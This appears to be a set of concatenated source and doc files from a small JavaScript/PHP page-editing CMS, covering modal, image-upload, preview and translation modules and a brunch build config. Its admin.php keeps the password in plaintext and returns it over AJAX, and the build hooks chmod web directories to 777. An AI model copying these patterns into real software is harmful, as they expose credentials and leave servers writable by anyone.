// ### elemIsContainer()
//
elemIsContainer: function (el) {
var elemIsContainer = ($(el).children('[contenteditable]').length > 0);
if (elemIsContainer) return true;
return false;
},
// ### removeLeftOverMediaBtns
//
removeLeftOverMediaBtns: function (el){
$(el).children().each(function(elem){
if (self.onlyContainsMediaBtn(elem)) $(elem).remove();
});
if (self.onlyContainsMediaBtn(el)) $(el).remove();
},
// ### onlyContainsMediaBtn()
//
onlyContainsMediaBtn: function (el) {
var onlyContainsBtn = (el.innerHTML.indexOf('<div id="cms-media-btn"') === 0);
return onlyContainsBtn;
},
// ### getTextBlockContainer()
//
/* https://stackoverflow.com/questions/5740640/contenteditable-extract-text-from-caret-to-end-of-element?answertab=votes#tab-top */
getTextBlockContainer: function(node) {
while (node) {
if (node.nodeType == 1) return node;
node = node.parentNode;
}
},
// ### getTextAfterCaret()
//
getTextAfterCaret: function() {
var sel = window.getSelection();
if (sel.rangeCount) {
var selRange = sel.getRangeAt(0);
var blockEl = self.getTextBlockContainer(selRange.endContainer);
if (blockEl) {
var range = selRange.cloneRange();
range.selectNodeContents(blockEl);
range.setStart(selRange.endContainer, selRange.endOffset);
return range.extractContents();
}
}
},
//
// End of module
};
<file_sep>/src/cms/api/logout.php
<?php
session_start();
//
session_unset();
session_destroy();
header("Location: ../../"); // redirect to root dir of this page
die();
?>
<file_sep>/src/cms/api/passwds/admin.php
<?php
if ( isset($_POST["get_passwd"]) ){
if ( !isset($_SESSION["login"]) ){
die;
}
# CMS admin is asking for passwd over AJAX, echo it
echo <PASSWORD>.';
} else {
# login.php is requiring the passwd, so give it the $var
$valid_password = <PASSWORD>.';
}
?><file_sep>/docs/cms/js/modules/file_manager.js.md
# file_manager.js
This is a simple wrapper for [PHPFM](https://www.codeproject.com/Articles/1167761/PHPFM-A-single-file-responsive-file-manager), which loads up in a CMS modal.
Get our JS dependencies
```js
var $ = require('cash-dom'); /* jQuery alternative */
```
Create a self reference
```js
var self;
```
Use strict setting
```js
"use strict";
```
Define CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
Makes this module available globally as cms.fileManager
```js
init: function(){
self = cms.fileManager;
return true // if we loaded ok
},
```
### showUI()
Creates an iframe which contains PHPFM, then loads
a CMS modal with that iframe as its main content.
```js
showUI: function (){
/* create our iframe HTML */
var content = '\n\
<iframe id="file-manager"\n\
title="File Manager"\n\
width="100%"\n\
height="100%"\n\
frameborder="0"\n\
marginheight="0"\n\
marginwidth="0"\n\
src="phpfm.php">\n\
</iframe>';
/* load the modal, just an iframe containing local copy of PHPFM
* https://www.codeproject.com/Articles/1167761/PHPFM-A-single-file-responsive-file-manager
*/
cms.modal.create({
"title": 'File Manager',
"contents": content
});
cms.modal.show();
/* add custom styling for this CMS modal */
$('.cms-modal-viewport').addClass('cms-modal-file-manager')
},
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ file_manager.js](file_manager.js "View in source")
<file_sep>/docs/cms/js/modules/modal.js.md
# modal.js
This module provides a popup modal dialog box. The main contents of
the modal can be set using the `create()` method.
Let's start.. Get our dependencies:
```js
var $ = require('cash-dom'); /* jquery alternative */
```
Create a persistent self reference to use across all module mthods
```js
var self;
```
Use strict setting
```js
"use strict";
```
Define the CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
```js
init: function(){
self = this; /* consistent self reference */
},
```
### create()
Creates the modal window, sets its contents, based on the `data' param it
is given
@param `data` - Object, with keys `title` (string), `contents` (string) and optionally `callback` (function)
```js
/* Example data object
* {
* title: 'Edit Meta Info',
* contents: form,
* callback: someFunc
* }
*/
create: function (data) {
var html = self.getHtml(data),
callback = data.callback;
/* save our modal contents html */
self.html = html;
/* add the HTML to page, update its contents */
self.addToPage();
self.setContents(data.contents);
/* now set a callback to run on exit, if one was given */
self.callback = '';
if (typeof callback === 'function') {
self.callback = callback;
}
},
```
### getHtml()
@param `data` - Object containing values for the {{things}} in
getTemplate() HTML
@return `html` - a string of HTML
```js
getHtml: function (data) {
var html = '',
template = self.getTemplate();
/* use our templater to combine the json and template into html output */
html = cms.templater.renderTemplate(template, data);
return html;
},
```
### getTemplate()
Returns the HTML of the modal dialog itself
```js
getTemplate: function () {
return '\
<div class="cms-modal cms-anim-fade-250ms cms-transparent cms-hidden">\n\
<div class="cms-modal-header-container">\n\
<button class="cms-modal-back-btn">Back</button>\n\
<h3 class="cms-modal-header">{{title}}</h3>\n\
</div>\n\
<div class="cms-modal-viewport"></div>\n\
</div>';
},
```
### addToPage()
Adds the modal HTML to the page (index.html).
```js
addToPage: function () {
$('body').append(self.html);
},
```
### setContents()
Update the main contents of the modal window.
```js
setContents: function (html) {
var $modalViewport = $('.cms-modal-viewport');
if ($modalViewport) $modalViewport.html(html);
},
```
### show()
Show the modal and make it ready to use.
```js
show: function () {
var modal = $('.cms-modal'),
backBtn = $('.cms-modal-back-btn');
/* Save page HTL to local storage, show the modal, add event handlers */
cms.saveProgress();
$('body').addClass('cms-noscroll');
modal.removeClass('cms-transparent cms-disabled cms-hidden');
backBtn.on('click', self.backBtnClickHandler);
},
```
### backBtnClickHandler()
executes the callback defined in `create()` when back button is clicked
(when modal is closed).
```js
backBtnClickHandler: function (e) {
self.hide();
if (typeof self.callback === 'function') self.callback();
},
```
### hide()
hide the modal, remove event handlers.
```js
hide: function () {
var modal = $('.cms-modal'),
backBtn = $('.cms-modal-back-btn');
$('body').removeClass('cms-noscroll');
modal.addClass('cms-transparent cms-disabled cms-hidden');
backBtn.off('click', self.hide);
self.remove();
cms.saveProgress();
},
```
### remove()
Remove the modal HTML from the page (index.html) entirely.
```js
remove: function () {
$('.cms-modal').remove();
},
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ modal.js](modal.js "View in source")
<file_sep>/src/cms/js/modules/image_manager.js
// # image_manager.js
// This CMS module loads up an Image Manager when a user clicks on an image in the page (index.html).
// Users can replace images using the image manager - click the upload
// button below the source file you want to change, and choose a new file.
// Clickable images are the ones the CMS can find using the `responsiveImageSelector`
// option in the [CMS config](https://github.com/sc0ttj/Project/blob/master/src/cms/js/cms.js#L20-L102).
// Users can then upload and replace any images that they have clicked in the page.
// The images in the page may be responsive images
// (see [templates](https://github.com/sc0ttj/Project/blob/master/src/app/templates/_image-center.tmpl)
// for examples), and in this case, the Image Manager will show all source
// images, and each can be replaced with a new uploaded image.
// ## Begin script
// Get our JS dependencies
var $ = require('cash-dom'); /* jQuery alternative */
// Create a persistent self reference to use across all module mthods
var self;
// Use strict setting
"use strict";
// Define the CommonJS module
module.exports = {
// ## Module Methods
// ### init()
// Makes this module available globally as cms.fileManager,
// then adds click handlers to all images the CMS can find
init: function(){
self = this;
self.addResponsiveImageClickHandlers();
},
// ### addResponsiveImageClickHandlers()
//Get all images on the page and assign a function to execute when they're clicked.
addResponsiveImageClickHandlers: function () {
var $imgs = $(cms.config.responsiveImageSelector);
$imgs.off('click', self.onImageClickHandler);
if ($imgs.length > 0) {
$imgs.addClass('cms-editable-img');
$imgs.on('click', self.onImageClickHandler);
}
},
// ### onImageClickHandler(e)
// Get the source files for the clicked iamge, create form fields from those
// source files, then pass those form fields to the `showUI()` function.
// This is the function that is assigned to images on the page.
// This function is executed when images are clicked.
//
// @param `e` - the event
onImageClickHandler: function (e) {
var img = this,
imgSrcElems = self.getImgSourceElems(img),
previewImages = [],
previewImages = self.createImgsFromImgSrcElems(imgSrcElems);
/* if we got image srcs from <source> or <img> tags, then
* set the current working image to the one that
* was clicked, and show the Image Manager UI
*/
if (previewImages.length > 0) {
self.currentImage = img;
self.showUI(previewImages);
}
},
// ### getImgSourceElems(img)
//
// @param `img` - the image HTML object that was clicked
// @return `imgSourceElems` - an HTML Collection of the images 'src' elem(s)
getImgSourceElems: function (img) {
var imgSourceElems = $(img).children('source, img');
return imgSourceElems;
},
// ### createImgsFromImgSrcElems(imgSrcElems)
// Create an array of image HTML strings, from `<source>` or `<img>` tags.
// This method is used to create the HTML of the preview images which appear
// in the Image Manager.
//
// @param `imgSrcElems` - an HTML Collection of `<source>` or `<img>` elems
// @return `images` - an array of image HTML strings
createImgsFromImgSrcElems: function (imgSrcElems) {
if (imgSrcElems.length < 1) return '';
var images = [];
/* create html for each src image in imgSrcElems array */
for (var i=0; i < imgSrcElems.length; i++){
var $img = $(imgSrcElems[i]),
tag = imgSrcElems[i].tagName,
data = $img.data('name') || '',
dataAttr = (data) ? dataAttr = 'data-name="'+data+'"' : dataAttr = '',
src = '';
if (tag === 'IMG') src = $img.attr('src');
if (tag === 'SOURCE') src = $img.attr('srcset');
images[i] = '<img id="preview-image-' + i + '" ' + dataAttr + ' data-index="'+i+'" src="' + src + '" />';
}
return images;
},
// ### showUI(previewImages)
// Create the Image Manager modal popup contents, then show the modal,
// and add the event handler functions to the upload buttons.
//
// @param `previewImages` - array of image HTML strings
showUI: function (previewImages) {
var modalContent = '';
/* for each preview image src file -
* add a header (if data-name attr found) and
* add an upload button, so user can replace the image
*/
previewImages.forEach(function (imgHtml, i){
var imgHeaderTxt = $(imgHtml).data('name'),
uploadBtn = self.createUploadBtn(i),
imageHeaderHtml = '<p class="cms-modal-image-title">' + imgHeaderTxt + '</p>';
/* build image list */
if (imgHeaderTxt) modalContent += imageHeaderHtml;
modalContent += imgHtml;
modalContent += uploadBtn;
});
/* load modal */
cms.modal.create({
title: 'Image Manager',
contents: modalContent
});
cms.modal.show();
/* add event handlers for input buttons */
var $fileBtns = $('.cms-modal-upload-btn');
$fileBtns.each(function (fileBtn){
var $fileBtn = $(fileBtn);
self.fileBtnClickHandler($fileBtn);
});
},
// ### fileBtnClickHandler(fileBtn)
// Assign an `onchange` event to the given button, which will:
// - check for a valid chosen file to upload
// - set the filename, relative URL of uploaded file
// - get the preview image to update, and update it
// - then upload the image to the server
fileBtnClickHandler: function (fileBtn) {
/* force upload on choosing a file */
fileBtn.on('change', function uploadBtnChangeHandler(e){
var file = this.files[0];
if (!file) return false;
/* set the filename, url, preview image */
var filename = this.files[0].name,
imgUrl = 'images/'+filename,
$previewImg = $(this).parent().prev('img'),
$previewImgId = $previewImg.attr('id'),
imageSrcIndex = $('#'+$previewImgId).data('index');
/* set current image info */
self.currentImgUrl = imgUrl;
self.currentImgSrcElem = imageSrcIndex;
/* set current upload button info */
self.$currentBtn = $(this).prev('label');
self.$currentBtns = $('.cms-modal-upload-label');
/* update the upload buttons in the UI */
self.updateUploadBtns(self.$currentBtn, self.$currentBtns);
/* update the preview of the image being replaced */
self.updatePreviewImage($previewImg, file);
/* upload the image */
fileBtn.prop('disabled', true);
self.uploadImage(e, file);
fileBtn.prop('disabled', false);
});
},
// ### updateUploadBtns(btn, btns)
// Add progress info to current upload button, disable others
//
// @param `$btn` - cashJS object, the current upload button
// (the one that was clicked)
// @param `$btns` - HTML Collection, all the upload buttons
updateUploadBtns: function($btn, $btns){
$btn.removeClass('cms-modal-upload-label-error');
$btn.addClass('cms-modal-upload-label-uploading');
$($btn).parent().children('.cms-loader').removeClass('cms-loader-hidden');
$btns.css('pointer-events', 'none');
},
// ### updatePreviewImage($previewImg, file)
// Updates the preview images in the Image Manager
//
// @param `$previewImg` - a cashJS object of the preview image to update
// @param `file` - an image file (chosen through a form upload button)
updatePreviewImage: function ($previewImg, file){
/* once the file data has been gathered, set the src attr of the current
* preview image to the image data, if the image exists */
var reader = new FileReader();
reader.addEventListener('load', function () {
$previewImg.attr('src', reader.result);
}, false);
if (file) reader.readAsDataURL(file);
},
// ### uploadImage(e, file)
// Uploads an image file to the server.
//
// @param `e` - the event
// @param `file` - an image file (chosen through a form upload button)
uploadImage: function (e, file){
/* get data from the current form */
var formData = new FormData(this);
/* add the file to the form data to be POSTed */
formData.append('image', file, file.name);
/* prevent redirect and do ajax upload */
e.preventDefault();
/* set where to upload to */
cms.ajax.create('POST', cms.config.api.upload);
/* setup the progress info display, and success/error callbacks */
self.setImageUploadEventHandlers();
/* do the request */
cms.ajax.send(formData);
},
// ### setImageUploadEventHandlers()
// This functions defines the ajax and upload event handling functions
// so users can see progress and success/fail messages for their uploads.
setImageUploadEventHandlers: function () {
var btn = self.$currentBtn,
btns = self.$currentBtns;
/* Define the handler funcs for our upload events:
* progress, success and error handlers.
*/
var onProgressHandler = function (e) {
var ratio = Math.floor((e.loaded / e.total) * 100) + '%';
btn.html('Uploading '+ratio);
};
var onSuccessHandler = function (responseText){
console.log(responseText);
/* The upload was a success, so update the image in the page that was
* originally clicked with the new uploaded image. */
self.updateImgOnPage();
/* now reset the upload buttons */
btn.html('Upload image');
btn.removeClass('cms-modal-upload-label-uploading');
$(btn).parent().children('.cms-loader').addClass('cms-loader-hidden');
btns.css('pointer-events', 'all');
};
var onErrorHandler = function (responseText){
console.log(responseText);
/* reset buttons after upload cmpletes */
btn.html('Upload error');
btn.addClass('cms-modal-upload-label-error');
$(btn).parent().children('.cms-loader').addClass('cms-loader-hidden');
};
/* now apply the handlers to this AJAX request */
cms.ajax.onProgress(onProgressHandler);
cms.ajax.onFinish(onSuccessHandler, onErrorHandler);
},
// ### updateImgOnPage()
// Replace an image on the main page (index.html) with an uploaded image.
updateImgOnPage: function(){
/* add img to src or srcset in main page */
var imgToUpdate = $(self.currentImage),
$imgToUpdate = $(imgToUpdate),
srcImgToUpdate = $imgToUpdate.children('img, source').eq(self.currentImgSrcElem)[0],
srcAttr = 'srcset';
/* if the target is not a valid image element, search its children for the
* correct elem - makre sure we are working on a valid image elem
*/
if (!srcImgToUpdate) srcImgToUpdate = $imgToUpdate.children('source').eq(self.currentImgSrcElem);
if (!srcImgToUpdate) srcImgToUpdate = $imgToUpdate.children('img');
/* We should now have a valid image elem, so set the correct
* attribute to update to 'src' if the elem is IMG, and leave
* as 'srcset' if it's not an IMG.
*/
if (srcImgToUpdate.tagName === 'IMG') srcAttr = 'src';
/* Now we have the correct elem and attribute, so let's
* update the source image, and replace with our currentImgUrl
*/
$(srcImgToUpdate).attr(srcAttr, self.currentImgUrl);
},
// ### createUploadBtn(i)
// Returns an HTML string of a form with an upload button (input type file).
//
// @param `i` - an index that will give the button a unique ID
// @return `uploadBtn` - an HTML form with upload button, as a string of HTML
createUploadBtn: function (i) {
/* create the HTML for each upload button */
var uploadBtn = '\
<form id="cms-upload-form-'+i+'" action="/api/upload.php" method="post" class="cms-upload-form cms-upload-form-'+i+'" enctype="multipart/form-data">\n\
<div class="cms-loader cms-loader-hidden"></div>\n\
<label for="file-upload-'+i+'" id="file-upload-label-'+i+'" class="cms-modal-upload-label">Upload image</label>\n\
<input name="image" type="file" id="file-upload-'+i+'" class="cms-modal-upload-btn" />\n\
</form>';
return uploadBtn;
},
// End of module
};
<file_sep>/brunch-config.js
// # brunch_config.js
// This file is read by `brunch`, each time a brunch build command
// is executed on the command line.
// See [Using the build tool](https://github.com/sc0ttj/Project/wiki/Using-the-build-tool) in the Wiki, for the available
// `brunch` commands and which ones to use.
// Also see [brunch.io](http://brunch.io/docs/config) for more info
/*
This config can use the following ways to match files/dirs etc.. Examples:
- regular expressions: /\.js$/,
- strings with glob wildcards: 'path/to/*.css',
- anymatch patterns: /^startDir\/(one|other)\/lastDir[\\/]/ (etc),
- function: function(path) { var files; ...; return files; },
- array of any of the above: [
'path/to/specific/file.js', // include specific file
'any/**.js', // all files with .js extension
/\.test\.js$/, // all files with .test.js extension
path => path.includes('tmp') // contains `tmp` substring
]
Defaults for Brunch config found in source:
https://github.com/brunch/brunch/blob/master/lib/utils/config-validate.js
*/
// ## Custom setup
// Get json data about the default page to be built, used later to compile html from templates
var pageConfig = require('./src/app/js/page_config.js');
// #### processEnv()
// You can pass env vars to brunch at build time..
// So lets get the vars now and setup anything we need to
(function processEnv(){
/*
* if `BUILD=with-tests brunch b`
* or `npm test` was used at command line */
if (process.env.BUILD == 'with-tests') {
/*
* include a test-runner script in index.html (in assets)
* to do this, we update default pageData..
* mustache will then include the test-runner
* partial if we set var 'test' below */
pageConfig.test = true;
}
})();
// ## Config starts below
exports.config = {
/* paths defines the src and output dirs */
paths: {
/* the dir to build our src code to */
'public': 'www/demo',
/* the files to combine and minify */
'watched': ['src'],
/* ignored: () => false, // override defaults for no ignored files */
},
/* define dir locations of assets and vendor files */
conventions: {
/* assets are always copied (unmodified) to output dir (www/demo) */
assets: [
/^src\/(app|cms)\/assets[\\/]/
],
/* set the vendor dirs for the 3rd party js, css, etc */
vendor: [
/^src\/(app|cms)\/vendor[\\/]/,
/^(bower_components|node_modules)[\\/]/
],
/* by default, files starting with _ are ignored */
},
/* JS module setup, see http://brunch.io/docs/config#-modules- */
modules: {
/* use brunchs built in commonjs module bundler, better supports npm */
definition: 'commonjs',
wrapper: 'commonjs',
/*
* nicer module paths for require():
* Make js modules available at 'module.js',
* instead of '/src/app/cms//modules/' .. etc) */
nameCleaner: path => path.replace(/^src\/(app|cms|test)\/js\//, '')
},
/* enable full npm support in brunch */
npm: {
enabled: true,
/* get the css of installed npm modules */
/*
* styles: {
* leaflet: ['dist/leaflet.css']
* }
*/
},
/* the hmtl, css, js files to combine, minify, etc */
files: {
javascripts: {
joinTo: {
/* combine js files to 'js/app.js' */
'js/app.js': /^src\/app\/js/,
/* combine js files to 'js/enhancements.js' */
/* 'js/enhancements.js': /^src\/app\/js\/enhancements/, */
/* combine js files to 'js/vendor.js' */
'js/vendor.js': [
/^src\/app\/vendor/,
/^(bower_components)/,
],
/* combine js files to 'cms/js/cms.js' */
'cms/js/cms.js': /^src\/cms\/js/,
/* combine js files to 'cms/js/vendor.js' */
'cms/js/vendor.js': [
/^src\/cms\/vendor/,
/^(node_modules)/,
],
/* combine js files to 'test/test.js' */
'test/test_runner.js': /^src\/test\/js/,
/* combine js files to 'test/vendor.js' */
'test/vendor.js': /^src\/test\/vendor\/js/
},
order: {
/* files to combine first */
before: [],
/* files to combine last */
after: [],
}
},
stylesheets: {
joinTo: {
/* combine scss to css/app.css */
'css/app.css': /^src\/app\/css/,
/* combine scss to css/vendor.css */
'css/vendor.css': [
/^src\/app\/vendor/,
/^bower_components/,
],
/* combine scss to cms/css/cms.css */
'cms/css/cms.css': /^src\/cms\/css/,
/* combine scss to cms/css/vendor.css */
'cms/css/vendor.css': /^src\/cms\/vendor/,
},
order: {
/* files to combine first */
before: ['normalize.css', 'skeleton.css'],
/* files to combine last */
after: []
}
}
},
plugins: {
/* check js valid on build */
eslint: {
"env": {
"browser": true
},
pattern: /^src\/cms\/.*\.js?$/,
warnOnly: true,
config: {rules: {'array-callback-return': 'warn'}}
},
/* minify html as well as the js and css */
htmlPages: {
compileAssets: true,
},
/* compile /src/app/templates/*.tmpl to /src/app/assets/*.html */
staticHandlebars: {
outputDirectory: 'src/app/assets',
templatesDirectory: 'src/app/templates',
/* settings for "partials" = the tmpls included in main templates file */
partials: {
directory: 'src/app/templates',
prefix: '_'
},
data: pageConfig,
},
/* manually copy files after build */
assetsmanager: {
copyTo: {
'/templates/' : [ 'src/app/templates/*.tmpl' ],
'/cms/api/' : [ 'src/cms/api/*.php' ],
'/cms/api/passwds/' : [ 'src/cms/api/passwds/*.php' ],
'/cms/images/previews/' : [ 'src/app/templates/previews/*.png' ],
}
},
/* after compile, run any shell commands (or `node my_node_cmd`) */
afterBrunch: [
'mkdir -p www/downloads',
'chmod 777 www/downloads',
'chmod 777 www/demo',
'chmod 777 www/demo/images',
'chmod 777 www/demo/videos',
'chmod 777 www/demo/vocabs',
/* move an example home page out of assets, to the web root */
'cp src/_extra-stuff/home.php www/index.php'
],
},
/* run extra tasks on pre-compile and post-compile .. see http://brunch.io/docs/config#-hooks-*/
/*
*hooks: {
* preCompile() {
* console.log("About to compile...");
* return Promise.resolve();
* },
* onCompile(files, assets) {
* console.log("Compiled... Now processing..");
* // list files generated from the build
* console.log(files.map(f => f.path));
* },
*},
*/
/* override brunch environment conventions/defaults */
overrides: {
/* build page without CMS (usage on command line: `brunch build --env nocms`) */
/*
*nocms: {
* paths: {
* 'public': 'www',
* 'watched': ['src/app']
* },
* conventions: {
* assets: [
* /^src\/app\/assets[\\/]/
* ],
* },
* files: {
* javascripts: {
* joinTo: {
* 'js/app.js': /^src\/app\/js/,
* 'js/vendor.js': [
* /^bower_components/,
* /^src\/app\/vendor/,
* ],
* 'test/js/test.js': /^test(\/|\\)(?!vendor)/,
* 'test/js/test-vendor.js': /^test(\/|\\)(?=vendor)/
* },
* order: {
* before: []
* }
* },
* }
*},
*/
},
};<file_sep>/src/app/js/page_config.js
module.exports = {
/*
* If true, include a test runner <script> which will run our
* tests on page load. Test will run in the browser, and can
* be seen in DevTools/Firebug, or on the command line when
* you run `npm test` (using PhantomJS).
*/
test: false,
/*
* Default lorem ipsum values to be inserted into page/templates.
*/
author: {
name: '<NAME>',
email: 'name [at] email.com',
twitter: '@authorshandle',
url: 'http://mysite.com/author',
},
org: {
name: 'Beeb',
url: 'http://mysite.com/',
twitter: '@orgshandle',
},
meta: {
title: 'My Article Title',
desc: 'A description of...',
keywords: 'space separated list of key words',
date: '2017-01-31',
author: '<NAME>',
url: 'http://mysite.com/demo/',
topic: 'News',
keywords: 'news, article, news article,',
},
hero: {
title: 'My Page Heading',
subtitle: 'A sub-title for this page goes here.',
name: '<NAME>',
date: '1st January, 2017',
image: 'placeholders/800x600.png',
},
article: {
heading: 'Heading',
para: 'Lorem ipsum thing dolor sit amet, consectetur adipiscing elit. Mauris pharetra erat sit amet orci auctor finibus. Sed at aliquet enim, vel tincidunt mauris.',
},
imageCenter: {
caption: 'Image-center caption goes here',
},
imageFixed: {
title: 'Fade-In Text Over Image',
},
inlineImage: {
src: 'images/placeholders/550x550.png',
},
};<file_sep>/docs/cms/js/modules/preview_manager.js.md
# preview_manager.js
This module creates a modal popup containing a preview of the edited page.
The previewed page is inside an iframe which can be resized to various device sizes.
First, we get our dependencies
```js
var $ = require('cash-dom');
```
Create a persistent reference
```js
var self;
```
Use strict setting
```js
"use strict";
```
Define our CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
```js
init: function(){
/* make this module available globally as cms.previewManager */
self = cms.previewManager;
return true // if we loaded ok
},
```
### previewPage()
Hide this modal and the CMS menu, then get a string of the HTML of our
page (index.html), then remove the CMS from it, then save that HTML to
a preview.html file, then re-show this preview manager UI
```js
previewPage: function () {
cms.ui.hideMenu();
var html = cms.exportManager.getPageHTMLWithoutCMS();
html = cms.exportManager.addDocType(html);
cms.exportManager.saveHtmlToFile(html, self.showUI);
},
```
### showUI(callback)
Shows the Preview Manager modal dialog and enables its event handlers
@param `callback` - a function that is executed on closing the modal
```js
showUI: function (callback) {
var lang = cms.vocabEditor.getCurrentService(),
filename = 'index.' + lang, // name of page to preview, example 'index.fr.html'
langInfo = cms.getLangInfo(lang);
/* set the correct filename based on the current language */
if (lang === 'en') filename = 'preview'; // if default LANG, get default preview page
/* create the modal content - a resizable iframe containing a preview of the edited page */
var content = '<div class="cms-iframe-resizer">\
<button class="cms-iframe-resizer-btn" data-width="320px" data-height="568px"> iPhone 5 </button>\
<button class="cms-iframe-resizer-btn" data-width="360px" data-height="640px"> Galaxy S5 </button>\
<button class="cms-iframe-resizer-btn" data-width="414px" data-height="736px"> iPhone 6 </button>\
<button class="cms-iframe-resizer-btn cms-iframe-resizer-btn-ipad" data-width="1024px" data-height="768px"> iPad </button>\
<button class="cms-iframe-resizer-btn" data-width="100%" data-height="100%"> Full </button>\
<button class="cms-iframe-resizer-btn cms-iframe-resizer-btn-orientation cms-hidden" data-orientation="switch" style="display:none;"> Rotate ⟳ </button>\
</div>\
<iframe id="pagePreview"\
title="Preview ('+langInfo.name+')"\
width="100%"\
height="100%"\
frameborder="0"\
marginheight="0"\
marginwidth="0"\
src="'+filename+'.html?c'+Math.random()+'">\
</iframe>';
/* load modal */
cms.modal.create({
"title": 'Preview ('+langInfo.name+')',
"contents": content,
"callback": callback
});
cms.modal.show();
/* hide back button if previewing via ?preview=LANG */
if (cms.showTranslation()) $('.cms-modal-back-btn').addClass('cms-hidden');
/* add custom styling for the modal contents */
$('.cms-modal-viewport').addClass('cms-modal-viewport-previewer');
/* add event handlers */
self.iframeResizeBtnClickHandler();
},
```
### iframeResizeBtnClickHandler()
Resizes the iframe in the Preview Manager to match the given dimensions
```js
iframeResizeBtnClickHandler: function () {
/* on clicking the 'cms-iframe-resizer-btn' button, get the dimensions
* from data attributes then apply those dimensions to the iframe
*/
$('.cms-iframe-resizer-btn').on('click', function resizeIframe() {
var $this = $(this),
iframe = $('#pagePreview')[0],
newHeight,
newWidth,
orientation = $(this).data('orientation') || '',
iframeResizeBtn = $('.cms-iframe-resizer-btn-orientation');
if (orientation === 'switch'){
/* reverse height and width */
newWidth = iframe.height;
newHeight = iframe.width;
} else {
/* get height and width from buttons data-* attrs */
newWidth = $this.data('width');
newHeight = $this.data('height');
}
/* resize iframe */
iframe.width = newWidth;
iframe.height = newHeight;
if (iframe.width == '100%'){
iframeResizeBtn.addClass('cms-hidden');
iframeResizeBtn.css('display', 'none');
} else {
iframeResizeBtn.removeClass('cms-hidden');
iframeResizeBtn.css('display', 'inline-block');
}
});
},
```
End of the module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ preview_manager.js](preview_manager.js "View in source")
<file_sep>/docs/cms/js/modules/ajaxer.js.md
# ajaxer.js
A simple AJAX module
Store the xhr requests in an array for easier logging/debugging:
```js
var xhr = [],
i = i || 0;
```
Use strict setting
```js
"use strict";
```
Define the CommonJS module
```js
module.exports = {
```
## Module Methods
### create(method, url)
@param `method` - POST or GET
@param `url` - the URL
```js
create: function(method, url) {
i++;
xhr[i] = new XMLHttpRequest();
xhr[i].open(method, url, true);
/* console.log(i, xhr); */
return xhr[i];
},
```
### send(formData)
@param `formData` - a valid [formData](https://developer.mozilla.org/en/docs/Web/API/FormData) object
```js
send: function (formData) {
xhr[i].send(formData);
},
```
### onProgress(callback)
@param `callback` - a callback function to execute on progress update
```js
onProgress: function(callback){
xhr[i].upload.onprogress = function (e) {
if (e.lengthComputable) {
callback(e);
}
};
},
```
### onFinish(successCallback, errorCallback)
@param `successCallback` - a func to execute on success
@param `errorCallback` - a func to execute on failure
```js
onFinish: function(successCallback, errorCallback){
xhr[i].onload = function() {
/* console.log(xhr[i]); */
if (xhr[i].status === 200) {
successCallback(xhr[i].responseText);
} else {
errorCallback(xhr[i].responseText);
}
};
},
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ ajaxer.js](ajaxer.js "View in source")
<file_sep>/src/cms/js/modules/translation_manager.js
// # translation_manager.js
// This module shows a Translation Manager UI, which lists all the
// languages available in a searchable table.
// Translations can be enabled by clicking the ENABLE button next
// to the desired language.
// Enabling a translation will create a new URL and password - these
// should be given to whoever will do the translation work.
// Once a translator has logged into the given translation URL,
// they'll see a form showing form fields for the English on the
// left, and editable fields on the right. The translators should
// put their translations for each item in the textboxes on the
// right hand side.
// Once the translations have been done, the translator can create the
// translated version of the page, by clicking the PREVIEW button.
// First, we get our dependencies.
var $ = require('cash-dom'); // like jquery
var store = require('store'); // cross browser localStorage wrapper
// Define a var the module can use to reference itself
var self;
// Use strict setting.
"use strict";
// Define the CommonJS module
module.exports = {
// ## Module Methods
// ### init()
// restore any previously enabled translations on page load
init: function(){
self = cms.translationManager;
self.restoreTranslationSettings();
return true // if we loaded ok
},
// ### restoreTranslationSettings()
// Get list of supported languages and get translations settings from
// local storage (so we can re-enable translations that have been enabled)
restoreTranslationSettings: function (){
var languages = cms.getLanguages(),
translations = store.get(cms.pageDir + '__translations');
/* if localStorage settings were found */
if (translations){
/* update the CMS with settings from local storage */
cms.translation = translations;
} else {
/* create new list of translations */
cms.translation = {};
/* for each supported language, create a translation object,
* so we can track if the translation is enabled or not
*/
Object.keys(languages).forEach(function (code){
/* cms.translation.push({ 'code': code, 'name': languages[code].name, 'enabled' : false}); */
cms.translation[code] = { 'name' : '', enabled: false};
cms.translation[code].name = languages[code].name;
});
}
},
// ### showUI()
// show the Translation Manager UI
showUI: function () {
var content = '',
callback = self.removeEventHandlers;
/* search form, filters the table below */
content += '<input \
type="text" \
class="cms-trans-autocomplete" \
placeholder="Enter language name.." />\
<div class="cms-trans-table-container">';
/* the table of translations ( fields = code|name|native name|url|pass|enable/disable) */
content += self.buildTranslationsTable();
content += '</div>'; // end table wrapper
/* load modal */
cms.modal.create({
"title": 'Manage Translations',
"contents": content,
"callback": callback
});
cms.modal.show();
self.addEventHandlers();
},
// ### buildTranslationsTable()
// Build the table of languages. Fields for each - name, native name,
// passwd, URL, enable button and disable button.
buildTranslationsTable: function () {
var languages = cms.getLanguages(),
table = '<table id="cms-trans-table" class="cms-trans-table">';
/* add table header */
table += '<thead>\
<tr class="cms-trans-table-header">\
<th>code</th>\
<th>name</th>\
<th class="cms-trans-header-native-name">native name</th>\
<th>editor</th>\
<th>password</th>\
<th>enabled</th>\
</tr>\
</thead>\
<tbody>';
/* for each language, build a row in the table */
Object.keys(languages).forEach(function (key){
var code = key,
name = languages[code].name,
nativeName = languages[code].nativeName,
passwd = '-';
table += '\n\
<tr class="cms-trans-row">\n\
<td class="cms-trans-code" data-label="code:">\n\
'+code+'\n\
</td>\n\
<td class="cms-trans-name" data-label="name:">\n\
'+name+'\n\
</td>\n\
<td class="cms-trans-native-name" data-label="native name:" dir="'+languages[code].direction+'" >\n\
'+nativeName+'\n\
</td>\n';
/* here we check a persistent list of our translations..
* this list has each lang, enabled or not, and the passwd */
/* if this translation is NOT enabled, show button to enable it */
if (cms.translation[code].enabled === false){
table += '\
<td class="cms-trans-url" data-label="editor:">\n\
-\n\
</td>\n\
<td class="cms-trans-passwd" data-label="password:">\n\
-\n\
